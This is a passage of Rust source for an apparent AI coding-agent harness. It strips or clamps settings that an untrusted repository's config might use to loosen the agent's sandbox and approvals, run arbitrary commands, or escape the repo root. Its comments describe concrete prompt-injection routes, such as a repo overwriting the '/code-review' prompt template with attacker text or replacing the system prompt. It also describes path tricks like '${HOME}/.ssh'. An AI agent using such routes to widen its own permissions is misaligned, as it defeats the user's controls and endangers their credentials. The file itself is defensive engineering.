/// `"model_requested"` is now a recognized value (resolves to
/// [`ApprovalPolicy::ModelRequested`]); any OTHER unparseable-but-present
/// value still fails safe to [`ApprovalPolicy::Untrusted`], matching
/// `apply_profile`'s precedent.
fn effective_approval(hc: &HarnessConfig) -> ApprovalPolicy {
    match permissions_approval_raw(hc) {
        None => ApprovalPolicy::Never,
        Some(raw) => parse_approval_str(&raw).unwrap_or(ApprovalPolicy::Untrusted),
    }
}

/// Capability tables a project file may never set AT ALL (§3.3): arbitrary
/// command execution, config-borne code execution, or a listener.
///
/// P5-12 (§2 module 14 `trust`, D-10): `trust` joined this list alongside
/// its own dependents (`hooks`/`plugins`) — a project asserting its OWN
/// trust level (e.g. `[capabilities.trust] default = "always"`) would
/// self-declare the exact gate D-10 exists to keep out of an untrusted
/// repo's hands, defeating the entire point. Only the user/global layer (or
/// a preset extended from it) may ever decide this.
const PROJECT_FORBIDDEN_CAPABILITY_TABLES: &[&str] =
    &["hooks", "plugins", "server", "integrations", "trust"];

/// Capability names a project file may flip `enabled = true` on by default
/// (§3.3 S9 "Default disposition"): narrows-only, never spends or widens.
const PROJECT_ALLOWED_CAPABILITY_ENABLE: &[&str] = &["reduction"];

/// LOW-1 (Fable-5 P4a review): is `d` a `core.additional_dirs` entry a
/// PROJECT layer is allowed to add? Rejects anything that could resolve
/// outside the repo root: absolute paths, `~`-relative paths, any path with
/// a `..` component, and any `${VAR}` env-expansion (unbounded — the
/// variable could hold anything, including an absolute path elsewhere on
/// disk). A relative path with no `..` segments always stays under the
/// directory it's resolved against, so it's safe to add.
fn is_safe_project_dir(d: &str) -> bool {
    // BP-9: `{file:…}` joins `${VAR}` on the rejected list for exactly the
    // same reason — its expansion is unbounded (the file's contents could
    // be any absolute path), and a project layer must never be able to make
    // the harness READ an arbitrary file just by naming it here.
    if d.contains("${") || d.contains(FILE_REF_PREFIX) {
        return false;
    }
    if d.starts_with('~') {
        return false;
    }
    let path = std::path::Path::new(d);
    if path.is_absolute() {
        return false;
    }
    !path
        .components()
        .any(|c| matches!(c, std::path::Component::ParentDir))
}

/// §3.3's monotonic-tightening rule for a project-layer `HarnessConfig`:
/// strip/narrow everything an untrusted repo must not control, recording
/// what it touched. Mirrors `userconfig.rs::sanitized_for_project`'s
/// contract on the new unified schema (see the module note above).
pub fn sanitize_for_project(hc: &HarnessConfig) -> (HarnessConfig, Vec<String>) {
    let mut dropped = Vec::new();
    let mut out = hc.clone();

    if out.core.base_url.take().is_some() {
        dropped.push("core.base_url".to_string());
    }
    if out.core.api_key_env.take().is_some() {
        dropped.push("core.api_key_env".to_string());
    }
    if out.core.api_key_cmd.take().is_some() {
        dropped.push("core.api_key_cmd".to_string());
    }
    // BP-9: the argv credential helper is the same trust class as the shell
    // one above — an untrusted repo must never choose the program whose
    // stdout becomes your API key.
    if out.core.api_key_command.take().is_some() {
        dropped.push("core.api_key_command".to_string());
    }
    // BP-9: `update_check` reaches the network at startup. A repo turning
    // that on for you is a (narrow) beacon, and §3.3's rule is that a
    // project layer may only ever NARROW — so it may not enable it. It may
    // still turn it OFF (the `Some(false)` case falls through untouched).
    if out.core.update_check == Some(true) {
        out.core.update_check = None;
        dropped.push("core.update_check".to_string());
    }
    if out.core.extra_headers.take().is_some() {
        dropped.push("core.extra_headers".to_string());
    }
    if out.core.extra_body.take().is_some() {
        dropped.push("core.extra_body".to_string());
    }
    if out.core.system_prompt.take().is_some() {
        dropped.push("core.system_prompt".to_string());
    }
    if out.core.append_system_prompt.take().is_some() {
        dropped.push("core.append_system_prompt".to_string());
    }
    // P4b: `focus_instructions` is free text injected into conversation
    // history as a system-authored marker every time compaction fires,
    // visible to and steering the model — the exact same prompt-injection
    // risk class as `system_prompt`/`append_system_prompt` above (§3.3), so
    // it gets the same treatment even though the REST of `[core.compaction]`
    // (enabled/after_messages/reserve_tokens/keep_recent_tokens/summarize)
    // is narrowing-only and stays project-legal.
    if out.core.compaction.focus_instructions.take().is_some() {
        dropped.push("core.compaction.focus_instructions".to_string());
    }
    // BP-4: `core.project_doc_excludes` decides WHICH instruction files
    // reach the system prompt, including the user's own trusted global
    // tier (`~/.config/supercode/CLAUDE.md`) — a project layer that could
    // set it would be able to SUPPRESS the user's standing instructions
    // and leave only its own repo-authored ones, which is the
    // prompt-injection trust boundary above by subtraction rather than
    // addition. Same treatment; the byte cap and comment strip stay
    // project-legal (both only ever REMOVE repo-authored content).
    if out.core.project_doc_excludes.take().is_some() {
        dropped.push("core.project_doc_excludes".to_string());
    }
    // MEDIUM (independent Fable-5 review of P4d): `core.prompts` is merged
    // onto the built-in/user prompt table KEY-WISE by
    // `ConfigBuilder::apply_profile` (see `CoreConfig::prompts`'s doc
    // comment above), not appended — so unlike `additional_dirs` below,
    // there is no "safe, narrowing" entry to keep. A project layer setting
    // `[core.prompts]\ncode-review = "malicious {args}"` doesn't just ADD a
    // new `/name` prompt, it OVERWRITES a trusted built-in (or user-set)
    // prompt template outright, silently substituting attacker text into
    // the user's own `/code-review` invocation. Same prompt-injection trust
    // boundary as `system_prompt`/`append_system_prompt`/
    // `compaction.focus_instructions` above (§3.3) — strip the WHOLE table,
    // project-forbidden, fail-closed. Only the user/global layer may set
    // prompt templates.
    if !out.core.prompts.is_empty() {
        out.core.prompts.clear();
        dropped.push("core.prompts".to_string());
    }

    // LOW (security, independent Fable-5 review of P4e): `[core.session]`'s
    // OPERATIONAL fields steer WHERE/WHAT/HOW the trusted session store
    // behaves, not just this conversation's content — a different trust
    // class than a narrowing-only knob. `dir` redirects every session-
    // transcript WRITE `run`/`chat` performs to an arbitrary path (repo sets
    // `dir = "/tmp/evil"` or anywhere the process can write — exfil, or an
    // overwrite of another session's files); `retention_days` steers what
    // `sessions prune` PERMANENTLY DELETES (a repo could set it to `1` to
    // quietly shred the user's session history, or the reviewer's own
    // "retention_days=0 project-forbidden" scenario to try to disable
    // pruning entirely — either way, deletion policy is not a repo's call).
    // `name`/`persist`/`export_format`/`git_metadata` ride along in the same
    // strip: none of them narrow anything either (a repo picking the
    // session's name, whether it's written to disk at all, its export
    // shape, or whether git provenance is captured is all still "the repo
    // steering the trusted store", not "the repo asking for less"). Only
    // `auto_title` is left alone: it can only change a title STRING
    // attached to a session that already lives under the user's own store
    // at a path/name the user (or the user/global layer) controls — no
    // path redirection, no deletion, no capability widening — so it stays
    // on the Project-ALLOWED side of the monotonic-tightening line. Same
    // one-shot-warning pattern (`dropped`) as every other stripped key
    // above; user/global layers keep full control of all of `core.session`.
    if out.core.session.dir.take().is_some() {
        dropped.push("core.session.dir".to_string());
    }
    if out.core.session.name.take().is_some() {
        dropped.push("core.session.name".to_string());
    }
    if out.core.session.persist.take().is_some() {
        dropped.push("core.session.persist".to_string());
    }
    if out.core.session.retention_days.take().is_some() {
        dropped.push("core.session.retention_days".to_string());
    }
    if out.core.session.export_format.take().is_some() {
        dropped.push("core.session.export_format".to_string());
    }
    if out.core.session.git_metadata.take().is_some() {
        dropped.push("core.session.git_metadata".to_string());
    }

    // LOW-1 (Fable-5 P4a review): `core.additional_dirs` is `${VAR}`-expanded
    // unconditionally at `to_config_profile` time with no upper bound on
    // where the expansion can point — the doc comment on the field itself
    // (`additional_dirs: Option<Vec<String>>` above) says "not enforced
    // here… enforced [downstream]", but nothing downstream actually enforced
    // it either, so a project layer could set `additional_dirs =
    // ["${HOME}/.ssh"]` (or a bare `/etc`, or `../../etc`) and escape the
    // repo root entirely. §3.3: a project file "may only ADD under the repo
    // root" — since this resolver works over raw TOML text with no
    // filesystem root of its own to check against, that's enforced
    // structurally: reject any entry that's absolute, starts with `~`,
    // contains a `..` component, or contains `${` (any env-expansion is
    // unbounded, so it's treated the same as "escaping outside root"). The
    // user/global layer is unrestricted (same trust boundary as `sandbox`/
    // `approval`: only the untrusted project layer is clamped).
    if let Some(dirs) = &out.core.additional_dirs {
        let (kept, rejected): (Vec<String>, Vec<String>) =
            dirs.iter().cloned().partition(|d| is_safe_project_dir(d));
        if !rejected.is_empty() {
            dropped.push(format!("core.additional_dirs ({})", rejected.join(", ")));
            out.core.additional_dirs = if kept.is_empty() { None } else { Some(kept) };
        }
    }

    // `extends`: a built-in NAME stays legal; anything else is treated as a
    // path — "a repo-supplied preset file is config injection through the
    // back door" (§3.3). A whitelist membership check against the six
    // reserved names (rather than the CLI's path-shaped-string heuristic)
    // means nothing can slip through as "not a path" that isn't actually a
    // known preset.
    if let Some(e) = &out.extends {
        if crate::presets::lookup(e).is_none() {
            dropped.push("extends (path)".to_string());
            out.extends = None;
        }
    }

    // LOW-1 (independent Fable-5 review of P3): `[experimental]` is a
    // mode-switching table (§5.3 risk 2's `module_registry` gate, and any
    // future flag added under it), not a plain settings table — today it
    // happens to be narrowing-only (`module_registry` off is always safe),
    // but §3.3's monotonic-tightening principle wants project configs
    // categorically unable to toggle experimental/mode-switching behavior,
    // since a LATER flag added under this table might not be
    // narrowing-only. Strip the WHOLE table (not a per-key allow/deny like
    // `capabilities.permissions` above) — same fail-closed posture as
    // `hooks`/`plugins`/`server`/`integrations`: experimental gates are
    // user/global-layer only.
    if !out.experimental.is_empty() {
        out.experimental.clear();
        dropped.push("experimental".to_string());
    }

    for name in PROJECT_FORBIDDEN_CAPABILITY_TABLES {
        if out.capabilities.remove(*name).is_some() {
            dropped.push(format!("capabilities.{name}"));
        }
    }

    if let Some(cap) = out.capabilities.get_mut("mcp") {
        if cap.settings.remove("servers").is_some() {
            dropped.push("capabilities.mcp.servers".to_string());
        }
        if matches!(
            cap.settings.get("serve"),
            Some(serde_json::Value::Bool(true))
        ) {
            cap.settings.remove("serve");
            dropped.push("capabilities.mcp.serve".to_string());
        }
    }

    if let Some(cap) = out.capabilities.get_mut("notify") {
        if cap.settings.remove("email").is_some() {
            dropped.push("capabilities.notify.email".to_string());
        }
    }

    // BP-13 (§3.3 monotonic tightening, catalog D9 "Org model allowlists /
    // effort caps"): the model RESTRICTION keys are stripped from a project
    // layer, per key rather than by forbidding the whole table — a repo may
    // still declare its own aliases and per-model rules (narrowing, or
    // simply naming), but it can never widen or lift a restriction the
    // user/global layer set, which is the only thing that makes such a
    // restriction worth setting.
    if let Some(cap) = out.capabilities.get_mut("model_catalog") {
        for key in ["allowed_models", "denied_models", "max_effort"] {
            if cap.settings.remove(key).is_some() {
                dropped.push(format!("capabilities.model_catalog.{key}"));
            }
        }
    }

    // P5-11 (§2 module 28 `lsp`, D-10): `capabilities.lsp.servers.*` is
    // config-borne code execution (a `command`/`args` pair a project file
    // could point at anything on `PATH`) — the exact same injection class
    // as `capabilities.mcp.servers` just above, so it gets the identical
    // strip-the-whole-table treatment regardless of `enabled` (the generic
    // default-disposition loop below already blocks a project file from
    // flipping `enabled = true` at all, since `lsp` isn't on the
    // Project-ALLOWED list — this additionally blocks server DEFINITIONS
    // from ever reaching a base layer that already has `enabled = true`,
    // e.g. from `oc-parity`).
    if let Some(cap) = out.capabilities.get_mut("lsp") {
        if cap.settings.remove("servers").is_some() {
            dropped.push("capabilities.lsp.servers".to_string());
        }
    }

    // P5-11 (§2 module 29 `formatters`, D-10, C10 sibling): every key
    // under `capabilities.formatters` OTHER than the two recognized
    // scalars (`diff_back`/`timeout_secs`) is a formatter DEFINITION —
    // `command`/`args`, the same D-10 injection class as `lsp.servers`
    // above. Unlike `lsp`, formatter definitions are SIBLINGS of `enabled`
    // (design's own schema shape), not nested under one sub-key, so each
    // one is checked and stripped individually. `timeout_secs` is
    // narrowing-safe either direction is left alone. `diff_back = false`
    // is the C10-UNSAFE direction (silences the annotation that lets the
    // model notice a formatter rewrote its file) — same "never let a
    // project assert the unsafe value" posture as
    // `capabilities.permissions.sandbox.enabled = false` above; `true` (or
    // simply omitted) passes through untouched.
    if let Some(cap) = out.capabilities.get_mut("formatters") {
        let formatter_keys: Vec<String> = cap
            .settings
            .keys()
            .filter(|k| !matches!(k.as_str(), "diff_back" | "timeout_secs"))
            .cloned()
            .collect();
        for key in formatter_keys {
            cap.settings.remove(&key);
            dropped.push(format!("capabilities.formatters.{key}"));
        }
        if matches!(
            cap.settings.get("diff_back"),
            Some(serde_json::Value::Bool(false))
        ) {
            cap.settings.remove("diff_back");
            dropped.push("capabilities.formatters.diff_back".to_string());
        }
    }

    if let Some(cap) = out.capabilities.get_mut("permissions") {
        match cap.settings.get("sandbox").cloned() {
            Some(serde_json::Value::String(sb)) if is_loosening_sandbox_str(&sb) => {
                cap.settings.remove("sandbox");
                dropped.push("capabilities.permissions.sandbox".to_string());
            }
            Some(serde_json::Value::Object(_)) => {
                if let Some(tbl) = cap
                    .settings
                    .get_mut("sandbox")
                    .and_then(|v| v.as_object_mut())
                {
                    if let Some(tier) = tbl.get("tier").and_then(|v| v.as_str()).map(String::from) {
                        if is_loosening_sandbox_str(&tier) {
                            tbl.remove("tier");
                            dropped.push("capabilities.permissions.sandbox.tier".to_string());
                        }
                    }
                    // P5-10: `enabled` (OS-level enforcement engaged) only
                    // ever TIGHTENS by turning enforcement ON — an explicit
                    // project `enabled = false` is the one loosening
                    // direction (it can defeat a base layer's `enabled =
                    // true`) and is unconditionally dropped, REGARDLESS of
                    // the base layer's own value (no base comparison
                    // needed: "never let a project assert false" is
                    // correct whether the base is `true`, `false`, or
                    // unset). `enabled = true` passes through untouched.
                    if matches!(tbl.get("enabled"), Some(serde_json::Value::Bool(false))) {
                        tbl.remove("enabled");
                        dropped.push("capabilities.permissions.sandbox.enabled".to_string());
                    }
                    // P5-10: `escalation`/`env_policy` graduate from an
                    // unconditional strip to the SAME two-stage treatment
                    // `tier`/`approval` already get — catch the single
                    // absolute-loosest value here (fails safe even if the
                    // downstream relative clamp were ever skipped), leave
                    // anything else for `clamp_project_permissions`'
                    // proper rank-vs-base-layer comparison (a project CAN
                    // legitimately tighten these now that they carry real
                    // behavior — P5-1's own `sandbox`/`approval` precedent
                    // for "let a narrowing project value through").
                    if let Some(esc) = tbl.get("escalation").and_then(|v| v.as_str()) {
                        if crate::sandbox::SandboxEscalation::parse(esc)
                            == Some(crate::sandbox::SandboxEscalation::Allow)
                        {
                            tbl.remove("escalation");
                            dropped.push("capabilities.permissions.sandbox.escalation".to_string());
                        }
                    }
                    if let Some(ep) = tbl.get("env_policy").and_then(|v| v.as_str()) {
                        if crate::sandbox::SandboxEnvPolicy::parse(ep)
                            == Some(crate::sandbox::SandboxEnvPolicy::Inherit)
                        {
                            tbl.remove("env_policy");
                            dropped.push("capabilities.permissions.sandbox.env_policy".to_string());
                        }
                    }
                    // P5-10: `network.allow_domains`/`.deny_domains` have
                    // no established strictness ORDER this resolver can
                    // safely clamp against yet: `allow_domains` growing can
                    // WIDEN reachability (from a base's empty/unrestricted
                    // list), and a project-supplied `deny_domains` REPLACING
                    // (not unioning with) the trusted layer's own list risks
                    // silently dropping an entry the trusted layer relied
                    // on if a future merge step ever folds it in naively —
                    // same "no safe-to-trust ordering yet" rationale as
                    // `auto_approved_tools`/`rules.allow` below. Both are
                    // stripped from a project layer outright (fail-closed);
                    // only the coarse `network.enabled` boolean gets the
                    // never-assert-false treatment (same as the table's own
                    // `enabled` above), since ANY narrower per-domain intent
                    // needs the platform primitive this build brief already
                    // names as out of reach on this kernel class anyway.
                    if let Some(net) = tbl.get_mut("network").and_then(|v| v.as_object_mut()) {
                        for k in ["allow_domains", "deny_domains"] {
                            if net.remove(k).is_some() {
                                dropped
                                    .push(format!("capabilities.permissions.sandbox.network.{k}"));
                            }
                        }
                        if matches!(net.get("enabled"), Some(serde_json::Value::Bool(false))) {
                            net.remove("enabled");
                            dropped.push(
                                "capabilities.permissions.sandbox.network.enabled".to_string(),
                            );
                        }
                    }
                }
            }
            _ => {}
        }
        if let Some(ap) = cap.settings.get("approval").and_then(|v| v.as_str()) {
            if is_loosening_approval_str(ap) {
                cap.settings.remove("approval");
                dropped.push("capabilities.permissions.approval".to_string());
            }
        }
        if cap.settings.remove("auto_approved_tools").is_some() {
            dropped.push("capabilities.permissions.auto_approved_tools".to_string());
        }
        if let Some(rules) = cap
            .settings
            .get_mut("rules")
            .and_then(|v| v.as_object_mut())
        {
            if rules.remove("allow").is_some() {
                dropped.push("capabilities.permissions.rules.allow".to_string());
            }
        }
    }

    // Default disposition (S9): opting IN to any module not on the
    // allowlist is forbidden by default; disabling (narrowing) is always
    // left alone. This also covers `tools_web`/`tools_background`/
    // `telemetry`/`session_share`'s `enabled = true` (§3.3's named exfil/
    // detached-execution rows) without a redundant per-name list.
    for (name, cap) in out.capabilities.iter_mut() {
        if cap.enabled == Some(true) && !PROJECT_ALLOWED_CAPABILITY_ENABLE.contains(&name.as_str())
        {
            cap.enabled = None;
            dropped.push(format!("capabilities.{name}.enabled"));
        }
    }

    (out, dropped)
}

/// §3.3's monotonic clamp, applied specifically at the project-layer merge
/// (not the general [`HarnessConfig::overlay`], which is also used for the
/// preset chain and the user layer — a user's OWN config extending a preset
/// and then setting a looser value is fine; only the UNTRUSTED project layer
/// is clamped). Mirrors `userconfig.rs`'s `clamp_sandbox`/`clamp_approval`
/// (F2/F3 fix precedent): even a project value that survived
/// [`sanitize_for_project`] (because it isn't the single GLOBAL loosest
/// value) must still be no looser than the base layer's OWN effective
/// posture — e.g. a project setting `workspace_write` when the base layer
/// has `read_only` is a real widening and must be clamped back.
///
/// `pub` (P5-10): also called directly by `crates/cli/src/userconfig.rs`'s
/// `overlay_project` (via a throwaway `HarnessConfig` wrapping just the
/// `capabilities` map, the same `core_probe` trick
/// `sanitized_for_project`'s own doc comment already uses for `[core]`) so
/// the CLI's plain `.supercode.toml` route gets the SAME `escalation`/
/// `env_policy` relative-rank clamp as the SDK's `HarnessConfig` resolver,
/// rather than a second, potentially-drifting reimplementation.
pub fn clamp_project_permissions(
    base: &HarnessConfig,
    sanitized_project: &HarnessConfig,
    merged: &mut HarnessConfig,
) -> Vec<String> {
    let mut clamped = Vec::new();
    let base_sandbox = effective_sandbox(base);
    let base_approval = effective_approval(base);

    if let Some(raw) = permissions_sandbox_raw(sanitized_project) {
        if let Some(parsed) = parse_sandbox_str(&raw) {
            if sandbox_rank(parsed) > sandbox_rank(base_sandbox) {
                clamped.push("capabilities.permissions.sandbox".to_string());
                set_sandbox_tier(merged, permissions_sandbox_raw(base));
            }
        }
    }
    if let Some(raw) = permissions_approval_raw(sanitized_project) {
        if let Some(parsed) = parse_approval_str(&raw) {
            if approval_rank(parsed) > approval_rank(base_approval) {
                clamped.push("capabilities.permissions.approval".to_string());
                set_permissions_approval_raw(merged, permissions_approval_raw(base));
            }
        }
    }
    // P5-10 (§2 module 12): `escalation`/`env_policy` get the exact same
    // rank-vs-base-layer clamp as `sandbox`/`approval` above — the TABLE
    // form only (the bare tier shorthand can't express either key at all,
    // so `sanitized_project`/`base` both read `None` for a bare-form
    // config and this is a no-op, same as `permissions_sandbox_raw`'s own
    // bare-vs-table handling elsewhere in this file). The "unset" floor for
    // each mirrors [`crate::sandbox::SandboxEscalation`]/[`crate::sandbox::
    // SandboxEnvPolicy`]'s own `Default` (`Deny`/`Inherit` respectively) —
    // the SAME values `permissions_sandbox_escalation`/
    // `permissions_sandbox_env_policy` already fall back to, so this clamp
    // agrees with what `materialize_config` will actually resolve.
    let base_escalation = permissions_sandbox_escalation_raw(base)
        .as_deref()
        .and_then(crate::sandbox::SandboxEscalation::parse)
        .unwrap_or_default();
    if let Some(raw) = permissions_sandbox_escalation_raw(sanitized_project) {
        if let Some(parsed) = crate::sandbox::SandboxEscalation::parse(&raw) {
            if parsed.rank() > base_escalation.rank() {
                clamped.push("capabilities.permissions.sandbox.escalation".to_string());
                set_permissions_sandbox_escalation_raw(
                    merged,
                    permissions_sandbox_escalation_raw(base),
                );
            }
        }
    }
    let base_env_policy = permissions_sandbox_env_policy_raw(base)
        .as_deref()
        .and_then(crate::sandbox::SandboxEnvPolicy::parse)
        .unwrap_or_default();
    if let Some(raw) = permissions_sandbox_env_policy_raw(sanitized_project) {
        if let Some(parsed) = crate::sandbox::SandboxEnvPolicy::parse(&raw) {
            if parsed.rank() > base_env_policy.rank() {
                clamped.push("capabilities.permissions.sandbox.env_policy".to_string());
                set_permissions_sandbox_env_policy_raw(
                    merged,
                    permissions_sandbox_env_policy_raw(base),
                );
            }
        }
    }
    // CRITICAL backstop (P5-10 security reopen, belt-and-suspenders on top
    // of `merge_sandbox_value`'s merge-representation fix): the invariant
    // that actually matters is the RESOLVED/EFFECTIVE sandbox tier, not
    // whether `sanitized_project` happened to carry a raw `tier` string —
    // the presence-based check above is a no-op whenever the project's
    // table omitted `tier` entirely (a hostile tier already stripped by
    // `sanitize_for_project`, or a benign tier-less overlay), which is
    // exactly the shape that let a widening slip through before. Check the
    // MERGED config's actual effective tier directly and clamp it back
    // whenever it's looser than the base's, regardless of which code path
    // produced it — this makes the monotonic-tightening invariant
    // form-agnostic and independent of any single merge/sanitize call site.
    let merged_sandbox = effective_sandbox(merged);
    if sandbox_rank(merged_sandbox) > sandbox_rank(base_sandbox)
        && !clamped
            .iter()
            .any(|c| c == "capabilities.permissions.sandbox")
    {
        clamped.push("capabilities.permissions.sandbox".to_string());
        set_sandbox_tier(merged, permissions_sandbox_raw(base));
    }
    clamped
}

/// Read `capabilities.permissions.sandbox.escalation`'s raw string — TABLE
/// form only (§3.1: the bare `sandbox = "<tier>"` shorthand can't express
/// this key). See [`clamp_project_permissions`]'s doc comment.
fn permissions_sandbox_escalation_raw(hc: &HarnessConfig) -> Option<String> {
    hc.capabilities
        .get("permissions")?
        .settings
        .get("sandbox")?
        .as_object()?
        .get("escalation")?
        .as_str()
        .map(String::from)
}

/// Read `capabilities.permissions.sandbox.env_policy`'s raw string — same
/// TABLE-form-only treatment as [`permissions_sandbox_escalation_raw`].
fn permissions_sandbox_env_policy_raw(hc: &HarnessConfig) -> Option<String> {
    hc.capabilities
        .get("permissions")?
        .settings
        .get("sandbox")?
        .as_object()?
        .get("env_policy")?
        .as_str()
        .map(String::from)
}

/// Overwrite (or clear) `capabilities.permissions.sandbox.escalation` —
/// used to revert a clamped project override back to the base layer's own
/// setting, same rationale as [`set_sandbox_tier`]. Only
/// touches the TABLE form (creating one if the entry didn't already exist
/// as an object — a clamp only ever fires when the PROJECT supplied the
/// table form in the first place, since the bare shorthand has no
/// `escalation` key to clamp).
fn set_permissions_sandbox_escalation_raw(hc: &mut HarnessConfig, value: Option<String>) {
    set_permissions_sandbox_subkey_raw(hc, "escalation", value);
}

/// Same as [`set_permissions_sandbox_escalation_raw`] for `env_policy`.
fn set_permissions_sandbox_env_policy_raw(hc: &mut HarnessConfig, value: Option<String>) {
    set_permissions_sandbox_subkey_raw(hc, "env_policy", value);
}

/// Shared body for [`set_permissions_sandbox_escalation_raw`]/
/// [`set_permissions_sandbox_env_policy_raw`].
fn set_permissions_sandbox_subkey_raw(hc: &mut HarnessConfig, key: &str, value: Option<String>) {
    let cap = hc
        .capabilities
        .entry("permissions".to_string())
        .or_default();
    let entry = cap
        .settings
        .entry("sandbox".to_string())
        .or_insert_with(|| serde_json::Value::Object(serde_json::Map::new()));
    if !entry.is_object() {
        // The project supplied the bare-string shorthand (no object to set
        // a sub-key on) — nothing to clamp back onto since it couldn't
        // have carried this key in the first place; leave it untouched.
        return;
    }
    let obj = entry.as_object_mut().expect("just checked is_object");
    match value {
        Some(v) => {
            obj.insert(key.to_string(), serde_json::Value::String(v));
        }
        None => {
            obj.remove(key);
        }
    }
}

/// Overwrite (or clear) `capabilities.permissions.sandbox`'s TIER — used to
/// revert a clamped project override back to the base layer's own setting.
///
/// P5-10 fix: unlike the old bare-string-only clamp this replaces, `sandbox`
/// can now carry legitimate sibling subkeys (`enabled`/`escalation`/
/// `env_policy`/`network`) alongside `tier` that the project may have
/// validly tightened in the SAME merge — wholesale-replacing the whole
/// value with a bare string would silently discard those. When the merged
/// value is already table form, only the `tier` subkey is overwritten,
/// preserving every other subkey; only when it's the bare-string shorthand
/// (or absent) does this fall back to setting/clearing the bare string, same
/// as before (there's no table to preserve subkeys on).
fn set_sandbox_tier(hc: &mut HarnessConfig, value: Option<String>) {
    let cap = hc
        .capabilities
        .entry("permissions".to_string())
        .or_default();
    if let Some(serde_json::Value::Object(obj)) = cap.settings.get_mut("sandbox") {
        match value {
            Some(v) => {
                obj.insert("tier".to_string(), serde_json::Value::String(v));
            }
            None => {
                obj.remove("tier");
            }
        }
        return;
    }
    match value {
        Some(v) => {
            cap.settings
                .insert("sandbox".to_string(), serde_json::Value::String(v));
        }
        None => {
            cap.settings.remove("sandbox");
        }
    }
}

/// Same as [`set_sandbox_tier`] for `approval` (bare-string-only field, no
/// table form exists to preserve subkeys on).
fn set_permissions_approval_raw(hc: &mut HarnessConfig, value: Option<String>) {
    let cap = hc
        .capabilities
        .entry("permissions".to_string())
        .or_default();
    match value {
        Some(v) => {
            cap.settings
                .insert("approval".to_string(), serde_json::Value::String(v));
        }
        None => {
            cap.settings.remove("approval");
        }
    }
}

// ---------------------------------------------------------------------------
// §3.5 step 6: module resolution — §2.1's dependency graph and §2.2's
// conflict matrix encoded AS DATA the resolver consumes, per the design's
// explicit instruction ("Deps `→`... Conflicts `⚡`..."), rather than
// hardcoded if-chains scattered through the crate.
// ---------------------------------------------------------------------------

/// The 31 top-level `[capabilities.<name>]` table names (§2's 35 modules,
/// minus the 4 that nest as sub-tables of a family: `permissions.rules`,
/// `permissions.sandbox`, `permissions.protected_paths` nest under
/// `permissions`; `mcp.server` is the `capabilities.mcp.serve` bool, not a
/// separate top-level table).
pub const MODULE_NAMES: &[&str] = &[
    "tools_search",
    "tools_apply_patch",
    "tools_persistent_shell",
    "tools_background",
    "tools_web",
    "tools_question",
    "todos",
    "plan_mode",
    "subagents",
    "permissions",
    "trust",
    "mcp",
    "hooks",
    "plugins",
    "memory",
    "checkpoint",
    "session_tree",
    "session_share",
    "reduction",
    "deferred_tools",
    "cache",
    "model_catalog",
    "model_oauth",
    "lsp",
    "formatters",
    "tui",
    "server",
    "notify",
    "structured_output",
    "telemetry",
    "integrations",
];

/// The 3 nested sub-modules under `capabilities.permissions` (module family
/// 10-13, §2 table) — dotted paths [`module_enabled`] understands.
pub const NESTED_MODULE_NAMES: &[&str] = &[
    "permissions.rules",
    "permissions.sandbox",
    "permissions.protected_paths",
];

/// Whether a module (a top-level name, or a dotted `top.sub` path for the
/// [`NESTED_MODULE_NAMES`]) is enabled in a resolved `HarnessConfig`.
pub fn module_enabled(hc: &HarnessConfig, module: &str) -> bool {
    let mut parts = module.splitn(2, '.');
    let top = parts.next().unwrap_or("");
    let Some(cap) = hc.capabilities.get(top) else {
        return false;
    };
    match parts.next() {
        None => cap.enabled.unwrap_or(false),
        Some(sub) => cap
            .settings
            .get(sub)
            .and_then(|v| v.as_object())
            .and_then(|o| o.get("enabled"))
            .and_then(|v| v.as_bool())
            .unwrap_or(false),
    }
}

/// Read a boolean setting nested under a capability's table (e.g.
/// `subagents.background`, `reduction.span_summaries`) — `false` if the
/// module or the key is absent. `pub(crate)`: also used by
/// [`crate::modules::ModuleId::is_active`] for the module-16
/// (`mcp.server` → `capabilities.mcp.serve`) schema-collapse case.
pub(crate) fn module_setting_bool(hc: &HarnessConfig, top: &str, key: &str) -> bool {
    hc.capabilities
        .get(top)
        .and_then(|c| c.settings.get(key))
        .and_then(|v| v.as_bool())
        .unwrap_or(false)
}

/// Read a string setting nested under a capability's table.
fn module_setting_str<'a>(hc: &'a HarnessConfig, top: &str, key: &str) -> Option<&'a str> {
    hc.capabilities
        .get(top)
        .and_then(|c| c.settings.get(key))
        .and_then(|v| v.as_str())
}

/// The effective `[core.tools] enabled` list — the §3.1 default four when
/// unset (`core.tools.enabled` has no built-in default of its own; the
/// schema's stated default is the §1.2 "default-active four").
fn effective_tools_enabled(hc: &HarnessConfig) -> Vec<String> {
    hc.core.tools.enabled.clone().unwrap_or_else(|| {
        ["read_file", "bash", "edit_file", "write_file"]
            .iter()
            .map(|s| s.to_string())
            .collect()
    })
}

/// Every named module's activation state (§3.5 step 7's "module-activation
/// set") — [`MODULE_NAMES`] plus [`NESTED_MODULE_NAMES`], each mapped to
/// [`module_enabled`]'s verdict.
fn activation_set(hc: &HarnessConfig) -> BTreeMap<String, bool> {
    let mut set = BTreeMap::new();
    for name in MODULE_NAMES {
        set.insert((*name).to_string(), module_enabled(hc, name));
    }
    for name in NESTED_MODULE_NAMES {
        set.insert((*name).to_string(), module_enabled(hc, name));
    }
    set
}

/// A resolver diagnostic (§3.5 step 6): a warning is advisory (attached to
/// [`Resolved::warnings`]); a hard-dependency or conflict failure is a
/// [`ResolveError`].
///
/// **Scope note (documented, not a gap the golden tests miss):** this
/// implements every dependency/conflict edge §2.1/§2.2 name that is
/// mechanically checkable from config data alone AND that the design's own
/// §4.6 mechanical re-validation table shows firing (or cleanly passing)
/// for at least one of the six reserved presets: D-1 (subagents
/// background→approvals), D-3 (permissions.rules→approvals), D-4
/// (lsp→edit/write), D-7 (skills→read_file|bash, warn-degrade), D-9
/// (span_summaries/memory→small_model, fallback-warn), D-10
/// (hooks/plugins→trust), plan_mode→rules|sandbox, mcp.server→mcp.client,
/// tools_question→tui|server, C1, C3, C4, C6. D-8 is never checked
/// (rehydrate is always-on core, §1.13/S1). Two §2.1 edges are deliberately
/// NOT enforced as resolver warnings even though prose names them
/// (`checkpoint`'s "full-coverage" sandbox qualifier; `mcp.client.elicitation
/// →tools.question`, satisfied-by-`tui` in every preset that needs it):
/// §4.6's own verdict table treats both as narrative residuals in the
/// design DOCUMENT, not as warnings the mechanical resolver itself must
/// emit — implementing them as active checks would fire un-named warnings
/// on cc-parity/oc-parity that contradict §4.6's stated clean verdicts for
/// those two presets. Left for a future pass if the design promotes them to
/// resolver-checked rows.
///
/// D-9's trigger set is deliberately narrowed to `reduction.span_summaries`
